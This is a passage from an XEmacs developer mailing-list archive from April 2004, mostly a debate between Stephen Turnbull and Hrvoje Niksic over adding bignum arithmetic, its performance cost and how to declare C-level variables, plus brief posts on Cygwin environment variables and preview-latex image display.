aren't going to find out without putting them in. But how big a performance hit is there going to be? On entry to any given arithmetic routine we have to test 1 bit, and we know if we have a fixnum. On anything that might get user data, we have to do that anyway, even with a diligent user it might be a character or a marker needing conversion. Overflow is harder, but not that much. I conclude that _unless we use them_ bignums are not going to affect performance. Bet my life? No. Good enough to let Jerry have his fun? For me, yes. Hrvoje> bignums might be, if we start relying on them (which I'd Hrvoje> personally *like*). >> What do you mean by "rely"? Hrvoje> I mean assuming bignum arithmetic in newly written code. Well, that would be nice, but there's no hurry. A couple years is soon enough, and we'll know by then from experience. Hrvoje> But I'm arguing three different things in one mail, which Hrvoje> makes my position on bignums far from clear. Please allow Hrvoje> me to clarify. Hrvoje> 1. I like bignums. [...] In fact, I like bignums so much Hrvoje> that I'd like them to become a "required" part of XEmacs. Again, no hurry. Hrvoje> 2. If bignums are to become required in the above sense, Hrvoje> we should ship a simple bignum implementation with XEmacs, What does that mean? Is +, -, *, /, mod, everything else coerces to float good enough? If so, doesn't calc already provide that much, at least? Hrvoje> 3. Before we proceed with #1, we should take a look at the Hrvoje> performance ramifications. We don't have a compiler with Hrvoje> fixnum hints and declarations, so *all* integer operations Hrvoje> will be checked for overflow. We're not arithmetic-bound, even in pure math computations. Consider the arithmetic overhead we already have: checking for (and converting) characters and markers, etc. And I really don't think we spend much time in arithmetic; we spend it all chasing SYMVAL_MAGIC for the operands. Hrvoje> On the one hand, I find it somewhat alarming that bignum Hrvoje> support has been committed to CVS without any prior Hrvoje> benchmarking. CVS is not sacred. What gets committed can be pulled out again. Think "Imagemagick". We're much more likely to get beta testing, and somewhat more likely to get benchmarking, this way. Hrvoje> I'm not proposing using bignums for buffer internals, if Hrvoje> that's what you mean. They might be used to raise the Hrvoje> buffer max. size limit from 1G to 2G or 4G, but even I Hrvoje> concede that that would too much work for very little Hrvoje> gain. Hm. That's a shame. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 20 11:35:13 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3KFZ4s17122; Tue, 20 Apr 2004 11:35:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3KFYlA16723 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 11:34:47 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3KFYkr16700 for turnbull@tux.org; Tue, 20 Apr 2004 11:34:46 -0400 Received: from brmea-mail-3.sun.com (brmea-mail-3.Sun.COM [192.18.98.34]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3KFYjs16682 for ; Tue, 20 Apr 2004 11:34:45 -0400 Received: from phys-mpk-2 ([129.146.11.82]) by brmea-mail-3.sun.com (8.12.10/8.12.9) with ESMTP id i3KFYi4U012946 for ; Tue, 20 Apr 2004 09:34:45 -0600 (MDT) Received: from sun.com (vpn-129-150-24-65.SFBay.Sun.COM [129.150.24.65]) by mpk-mail1.sfbay.sun.com (iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)) with ESMTP id <0HWH00D4579WGP@mpk-mail1.sfbay.sun.com> for xemacs-beta@xemacs.org; Tue, 20 Apr 2004 08:34:44 -0700 (PDT) Date: Tue, 20 Apr 2004 08:34:42 -0700 From: Edwin Goei Subject: lower case environment variables for abbreviations with cygwin To: xemacs-beta@xemacs.org Message-id: <40854312.6020605@sun.com> MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en-us, en User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , When I was running xemacs on unix, I would set lower case environment variables in my shell such as "setenv work /long/path/to/work/dir" and then launch xemacs. Within xemacs I could then use find-file with $work/xxx and it would all work. I am now running on cygwin "XEmacs 21.4 (patch 13) \"Rational FORTRAN\" [Lucid] (i686-pc-cygwin) of Sun May 25 2003 on TSUNAMI", and this no longer works. The lower case env vars are converted to all caps (eg. $WORK) which is more difficult to type. I can think of a workaround, but is there a way that I could get the old lowercase environment var behavior? -Edwin From xemacs-beta-admin@xemacs.org Tue Apr 20 19:52:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3KNq2s31899; Tue, 20 Apr 2004 19:52:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3KNprR31775 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 19:51:53 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3KNppC31745 for turnbull@tux.org; Tue, 20 Apr 2004 19:51:51 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3KNpks31673 for ; Tue, 20 Apr 2004 19:51:46 -0400 Received: (qmail 4337 invoked from network); 21 Apr 2004 01:51:44 +0200 X-Remote-IP: 213.191.128.12 Received: from mx.iskon.hr (qmailr@213.191.128.12) by mxout2.iskon.hr with SMTP; 21 Apr 2004 01:51:44 +0200 Received: (qmail 28468 invoked from network); 21 Apr 2004 01:51:43 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 21 Apr 2004 01:51:43 +0200 To: "Stephen J. Turnbull" Cc: XEmacs beta Subject: Bignums and stuff (was: [21.5] Tweak etc/NEWS) References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <87n056rbsh.fsf@tleepslib.sk.tsukuba.ac.jp> From: Hrvoje Niksic Date: Wed, 21 Apr 2004 01:53:47 +0200 In-Reply-To: <87n056rbsh.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Tue, 20 Apr 2004 22:58:38 +0900") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" writes: > Hrvoje> 2. If bignums are to become required in the above sense, > Hrvoje> we should ship a simple bignum implementation with XEmacs, > > What does that mean? It means having bignum code that doesn't rely on an external library. Again, think Python. > Is +, -, *, /, mod, everything else coerces to float good enough? Coercing to float is not the same as having bignums. > If so, doesn't calc already provide that much, at least? calc's bignum implementation is way too slow, and it doesn't affect builtins such as `+' and `*'. Also, calc is not (necessarily) shipped with XEmacs either. > We're not arithmetic-bound, even in pure math computations. > Consider the arithmetic overhead we already have: checking for (and > converting) characters and markers, etc. And I really don't think > we spend much time in arithmetic; we spend it all chasing > SYMVAL_MAGIC for the operands. Maybe you're right, maybe checking for overflow will get lost in the proverbial forest of other checks. I'd still be happier if that were proven with benchmarks. > Hrvoje> I'm not proposing using bignums for buffer internals, if > Hrvoje> that's what you mean. They might be used to raise the > Hrvoje> buffer max. size limit from 1G to 2G or 4G, but even I > Hrvoje> concede that that would too much work for very little > Hrvoje> gain. > > Hm. That's a shame. I could be wrong. :-) We might avoid the work if we devised a way to use 32-bit values at the C level, while transparently using bignums in Lisp for the 1G+ range. Currently lots of code does this: static Fixnum some_c_variable; DEFVAR_INT ("some-lisp-variable", &some_c_variable /* This variable loses because it can hold only 31 bits. And it is always signed, which means its max. value is 2**30 - 1. */ ); some_c_variable = 0; The "too much work" I hinted at would come from promoting all such variables into full bignums, like this: static Lisp_Object Vsome_c_variable; DEFVAR_LISP ("some-lisp-variable", &Vsome_c_variable /* This variable is too hard to use from C. */ ); some_c_variable = wrap_int (0); This loses because it forces all the code that works with Vsome_c_variable to unwrap it, and to deal with the possibility of Vsome_c_variable being a bignum. This is slow and potentially error-prone, because might not even know how to deal with a variable that doesn't fit in 32 bits. Worse, the code in question might be deeply in redisplay or other tricky areas where you really only want simple arithmetic of C integrals. For the purposes of gaining the one extra bit, it might be best to introduce this: static EMACS_INT some_variable; /* intentionally not Fixnum */ DEFVAR_FULLINT ("some-variable", &some_variable /* This variable can hold all 32-bit (or 64-bit) values. */ ); some_variable = 0; The symbol would be marked with a new forward tag (e.g. SYMVAL_INT_FORWARD) that uses make_int for values that fit in fixnums, and make_bignum for values between most-positive-fixnum and INT_MAX. (We could even cache the bignum objects in case of frequent accesses to unchanged variable value, but that's an optimization.) That method could even be extended to support unsigned 32-bit values and aim for 4G compliance. But that way lies intellectually corrupt unsigned-correctness, which I'd like to avoid. Additionally, when Lisp code tries to assign a value to such a variable, we could throw an error, just like we do now when you try to assign a string to an int variable. From xemacs-beta-admin@xemacs.org Tue Apr 20 20:49:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3L0n2s09995; Tue, 20 Apr 2004 20:49:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3L0mhH09760 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 20:48:43 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3L0mgl09745 for turnbull@tux.org; Tue, 20 Apr 2004 20:48:42 -0400 Received: from fencepost.gnu.org (fencepost.gnu.org [199.232.76.164]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3L0mgs09740 for ; Tue, 20 Apr 2004 20:48:42 -0400 Received: from fencepost.gnu.org ([127.0.0.1] helo=lola.goethe.zz) by fencepost.gnu.org with esmtp (Exim 4.24) id 1BG5th-0006zV-3F for xemacs-beta@xemacs.org; Tue, 20 Apr 2004 20:47:29 -0400 To: xemacs-beta@xemacs.org Subject: Some preview-latex issues From: David Kastrup Date: 21 Apr 2004 02:48:40 +0200 Message-ID: Lines: 50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello, there are a few issues with image support in connection with preview-latex and XEmacs coming up soon. One issue is an old one: preview-latex replaces text by an image for the purpose of display. In Emacs, we simply do this by having a "display" property pointing to the image. In XEmacs, we instead have to give the text an invisible text property and use an end-glyph on the image (a begin-glyph incidentally gets made invisible along with the text IIRC). This different scheme makes for a crucial difference between Emacs and XEmacs: in Emacs, the cursor can be _on_ an image. With XEmacs, this is impossible. The cursor will either be on a character before the image, or on a character after the image. An XEmacs image thus can never serve as a full substitute for a character: it is not addressable in the buffer. People seemingly don't mind much the cursor being not placeable after the last character before the image. At least I can't remember any complaints so far. Now as a request made with preview-latex in mind, we are getting some new functionality into Emacs with regard to images: image slicing. When using an image, one can specify a rectangular subarea to be displayed instead of the whole image. I hope to be able to use this in connection with LaTeX macros and stuff to slice the image of an alignment (such as a table) into individual table cells that will then make up separately addressable items on the screen. Since they are packed tight without intervening characters in the buffer, XEmacs' inability to place the cursor on any actual image (the text itself is completely invisible) will become quite tiresome even in case that such slices would be implemented in XEmacs. In addition (I don't remember the issues completely, it has been some time now) it may be that an end-glyph of an extent will be made invisible if immediately followed by "invisible" text. Another issue was that "balloon help" tended to block XEmacs operation and got in your way: we had to make this customizable to off with XEmacs (with Emacs there have been no complaint: the "tooltips" of Emacs don't disturb normal editing processes, are not decorated windows, anyway, and are in general "harmless"). For some Windows versions of XEmacs, even complete crashes have been reported if one did not disable the balloon help. Is there maybe somebody interested of trying to work on some of those preview-latex/XEmacs interoperability issues in the next time? -- David Kastrup, Kriemhildstr. 15, 44793 Bochum From xemacs-beta-admin@xemacs.org Wed Apr 21 02:33:40 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3L6X3s23841; Wed, 21 Apr 2004 02:33:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3L6WvE23739 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 02:32:57 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3L6WrS23677 for turnbull@tux.org; Wed, 21 Apr 2004 02:32:53 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3L6Wns23613; Wed, 21 Apr 2004 02:32:49 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BGBHs-00043z-00; Wed, 21 Apr 2004 15:32:48 +0900 To: Hrvoje Niksic Cc: XEmacs beta Subject: Re: Bignums and stuff (was: [21.5] Tweak etc/NEWS) References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <87n056rbsh.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 21 Apr 2004 15:32:47 +0900 In-Reply-To: (Hrvoje Niksic's message of "Wed, 21 Apr 2004 01:53:47 +0200") Message-ID: <873c6xrgc0.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Hrvoje" == Hrvoje Niksic writes: Hrvoje> "Stephen J. Turnbull" writes: Hrvoje> 2. If bignums are to become required in the above sense, Hrvoje> we should ship a simple bignum implementation with XEmacs, >> What does that mean? Hrvoje> It means having bignum code that doesn't rely on an Hrvoje> external library. Again, think Python. First, think "replace the Lisp engine". The current one can't run footraces with a snake. :-( >> Is +, -, *, /, mod, everything else coerces to float good >> enough? Hrvoje> Coercing to float is not the same as having bignums. Then Python doesn't have bignums, or in general doesn't do integer arithmetic CLTL2-correctly. 10**-2 => 0.01, there's no built-in sqrt function, the math library returns 5.0 for sqrt(25), etc. I don't have a problem with this, it just makes me unclear on what you mean by comparing to Python. AFAICS Python provides the 4 basic arithmetic operations (counting mod as part of division, and non-negative integral exponentiation as multiplication) on integers, including bignums, and everything else is done by coerce-to-float. No? Basic multiple precision integer arithmetic in C is fairly easy: loopy-loopy-loop and you're done; should be fast enough for anybody not using bignums often enough to be willing to deal with the library. The hard parts Jerry has already done: when do you coerce from fixnum representation to bignum representation? Am I missing something? That is, you're welcome to veto a release without benchmarks and a built-in simple implementation, I'll be lined up right behind to second it. But it's quite clear what we need to do, isn't it? (That's a real question; I think you agree, but I'm not sure.) Does committing to CVS still worry you? (Again, a real question.) >> If so, doesn't calc already provide that much, at least? Hrvoje> calc's bignum implementation is way too slow, and it Hrvoje> doesn't affect builtins such as `+' and `*'. Also, calc Hrvoje> is not (necessarily) shipped with XEmacs either. OK, we'll do it in C. Hrvoje> Maybe you're right, maybe checking for overflow will get Hrvoje> lost in the proverbial forest of other checks. I'd still Hrvoje> be happier if that were proven with benchmarks. Me too, before the release of 22.0 if we plan to default it on, which I'm sure you would support if no known bugs and reasonable performance. But for committing Jerry's work as experimental, it's not necessary IMO. Hrvoje> For the purposes of gaining the one extra bit, it might be Hrvoje> best to introduce this: static EMACS_INT some_variable; /* intentionally not Fixnum */ DEFVAR_FULLINT ("some-variable", &some_variable /* This variable can hold all 32-bit (or 64-bit) values. */ ); some_variable = 0; Yuck. The compiler won't catch mistakes in a non-union build, and it's just generally confusing, for one bit? It shouldn't be _that_ much harder to implement multiple-precision array indicies; add, subtract, multiply. Only division is "hard" and that we can limit to "by size_t", right? But I appreciate you laying out the possibilities, it's very educational. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 21 05:35:39 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3L9Z7s28336; Wed, 21 Apr 2004 05:35:07 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3L9Y7P27454 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 05:34:07 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3L9Y5Z27423 for turnbull@tux.org; Wed, 21 Apr 2004 05:34:05 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3L9Y0s27319 for ; Wed, 21 Apr 2004 05:34:00 -0400 Received: (qmail 13483 invoked from network); 21 Apr 2004 11:33:56 +0200 X-Remote-IP: 213.191.128.12 Received: from mx.iskon.hr (qmailr@213.191.128.12) by mxout2.iskon.hr with SMTP; 21 Apr 2004 11:33:56 +0200 Received: (qmail 23577 invoked from network); 21 Apr 2004 11:33:55 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 21 Apr 2004 11:33:55 +0200 To: "Stephen J. Turnbull" Cc: XEmacs beta Subject: Re: Bignums and stuff (was: [21.5] Tweak etc/NEWS) References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <87n056rbsh.fsf@tleepslib.sk.tsukuba.ac.jp> <873c6xrgc0.fsf@tleepslib.sk.tsukuba.ac.jp> From: Hrvoje Niksic Date: Wed, 21 Apr 2004 11:36:01 +0200 In-Reply-To: <873c6xrgc0.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Wed, 21 Apr 2004 15:32:47 +0900") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.8 required=5.0 tests=AWL,LARGE_HEX autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" writes: >>>>>> "Hrvoje" == Hrvoje Niksic writes: > > Hrvoje> "Stephen J. Turnbull" writes: > > Hrvoje> 2. If bignums are to become required in the above sense, > Hrvoje> we should ship a simple bignum implementation with XEmacs, > > >> What does that mean? > > Hrvoje> It means having bignum code that doesn't rely on an > Hrvoje> external library. Again, think Python. > > First, think "replace the Lisp engine". The current one can't run > footraces with a snake. :-( Actually, it's one of the fastest interpreters around. Last time I checked, XEmacs was significantly faster than Python, Perl, librep, FSF Emacs, and the likes. My benchmarks were rather trivial, though, but still. That's all thanks to Martin's tweakings. > Hrvoje> Coercing to float is not the same as having bignums. > > Then Python doesn't have bignums, or in general doesn't do integer > arithmetic CLTL2-correctly. Huh? >>> 10**100 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000L > I don't have a problem with this, it just makes me unclear on what > you mean by comparing to Python. I'm somewhat surprised that you don't get this. I don't know how to explain what I mean by "built-in support for longs (bignums)" more clearly than that. Basically, you cannot have a Python that *doesn't* support longs, therefore you can depend on them. I was never speaking of floats, or of coercing to floats, which we have as well. > Basic multiple precision integer arithmetic in C is fairly easy: > loopy-loopy-loop and you're done; should be fast enough for anybody > not using bignums often enough to be willing to deal with the > library. The hard parts Jerry has already done: when do you coerce > from fixnum representation to bignum representation? Am I missing > something? You're missing the point. See my previous post for the context of this whole discussion. Since you vetoed relying on bignums, the context of needing to ship a bignum implementation is obsolete. > Does committing to CVS still worry you? (Again, a real question.) Committing to CVS does not worry me. If it really worried me, I would have said something more loudly sooner. I was merely musing. > static EMACS_INT some_variable; /* intentionally not Fixnum */ > DEFVAR_FULLINT ("some-variable", &some_variable /* > This variable can hold all 32-bit (or 64-bit) values. > */ ); > some_variable = 0; > > Yuck. The compiler won't catch mistakes in a non-union build, What mistakes? This has nothing to do with aliasing between Lisp objects and integers -- new Lisp_Objects are created by symbol.c, just like it's done for current DEFVAR_INT variables. > it's just generally confusing, for one bit? It shouldn't be _that_ > much harder to implement multiple-precision array indicies; add, > subtract, multiply. Only division is "hard" and that we can limit to > "by size_t", right? I'm talking about the internals code where you *really* don't want to deal with bignums. And I mean, really. From xemacs-beta-admin@xemacs.org Wed Apr 21 09:18:34 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LDIAs17744; Wed, 21 Apr 2004 09:18:10 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LDHH416863 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 09:17:17 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LDHFR16798 for turnbull@tux.org; Wed, 21 Apr 2004 09:17:15 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LDH7s16674; Wed, 21 Apr 2004 09:17:07 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BGHb7-0006hC-00; Wed, 21 Apr 2004 22:17:05 +0900 To: Hrvoje Niksic Cc: XEmacs beta Subject: Re: Bignums and stuff (was: [21.5] Tweak etc/NEWS) References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <87n056rbsh.fsf@tleepslib.sk.tsukuba.ac.jp> <873c6xrgc0.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 21 Apr 2004 22:17:04 +0900 In-Reply-To: (Hrvoje Niksic's message of "Wed, 21 Apr 2004 11:36:01 +0200") Message-ID: <87y8opo4hb.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Hrvoje" == Hrvoje Niksic writes: Hrvoje> Actually, it's one of the fastest interpreters around. Hrvoje> Last time I checked, XEmacs was significantly faster than Hrvoje> Python, Perl, librep, FSF Emacs, and the likes. Well, the issue isn't how fast we can execute no-ops, it's how fast we can do useful work. Mike claims to have an Elisp translator targeted to Scheme48 that is competitive with XEmacs native, on his set of benchmarks. I don't recall whether that was interpreted or compiled- to-Scheme, but if it's true, it suggests there's a lot of room for improvement. As for arithmetic, Handa claims CCL gives a three to five times improvement over byte-compiled Lisp. >> I don't have a problem with this, it just makes me unclear on >> what you mean by comparing to Python. Hrvoje> I'm somewhat surprised that you don't get this. I don't Hrvoje> know how to explain what I mean by "built-in support for Hrvoje> longs (bignums)" more clearly than that. Basically, you Hrvoje> cannot have a Python that *doesn't* support longs, Hrvoje> therefore you can depend on them. I was never speaking of Hrvoje> floats, or of coercing to floats, which we have as well. The question is what functions have to return integers to "support" bignums the way the other languages you mention do? You said add, subtract, multiply, divide, modulus isn't enough. For CLtL2, at least, conforming means supporting ISQRT, and I thought there were other irrational functions that are required to return a rational. Turns out ISQRT is the only one, but I didn't realize that. So I guess the only other function you want is positive integral exponentiation, but I didn't know that. Hrvoje> You're missing the point. See my previous post for the Hrvoje> context of this whole discussion. Since you vetoed Hrvoje> relying on bignums, the context of needing to ship a Hrvoje> bignum implementation is obsolete. Where did I do that? I said there's no hurry, but that depends on (a) what you mean by relying on bignums, which turns out to be basically what I had in mind, and (b) who's volunteering to do the work. > static EMACS_INT some_variable; /* intentionally not Fixnum */ > DEFVAR_FULLINT ("some-variable", &some_variable /* > This variable can hold all 32-bit (or 64-bit) values. > */ ); > some_variable = 0; > > Yuck. The compiler won't catch mistakes in a non-union build, Hrvoje> What mistakes? This has nothing to do with aliasing Hrvoje> between Lisp objects and integers -- new Lisp_Objects are Hrvoje> created by symbol.c, just like it's done for current Hrvoje> DEFVAR_INT variables. This is what I had in mind: static EMACS_INT some_variable; Fixnum another; DEFVAR_FULLINT ("some-variable", &some_variable ...); another = some_variable; Of course the compiler can't catch that at all, no matter what the Lisp_Object representation is. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 21 10:08:51 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LE8Rs01145; Wed, 21 Apr 2004 10:08:27 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LE7eB00384 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 10:07:40 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LE7cp00337 for turnbull@tux.org; Wed, 21 Apr 2004 10:07:38 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LE7bs00324 for ; Wed, 21 Apr 2004 10:07:37 -0400 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BGINw-0001Gx-00 for ; Wed, 21 Apr 2004 16:07:32 +0200 Received: from junk.nocrew.org ([213.242.147.30]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 21 Apr 2004 16:07:32 +0200 Received: from lars by junk.nocrew.org with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 21 Apr 2004 16:07:32 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Lars Brinkhoff Subject: Re: Bignums and stuff (was: [21.5] Tweak etc/NEWS) Date: 21 Apr 2004 16:07:28 +0200 Organization: nocrew Lines: 23 Message-ID: <85n0558lwf.fsf@junk.nocrew.org> References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <87n056rbsh.fsf@tleepslib.sk.tsukuba.ac.jp> <873c6xrgc0.fsf@tleepslib.sk.tsukuba.ac.jp> <87y8opo4hb.fsf@tleepslib.sk.tsukuba.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: junk.nocrew.org User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk 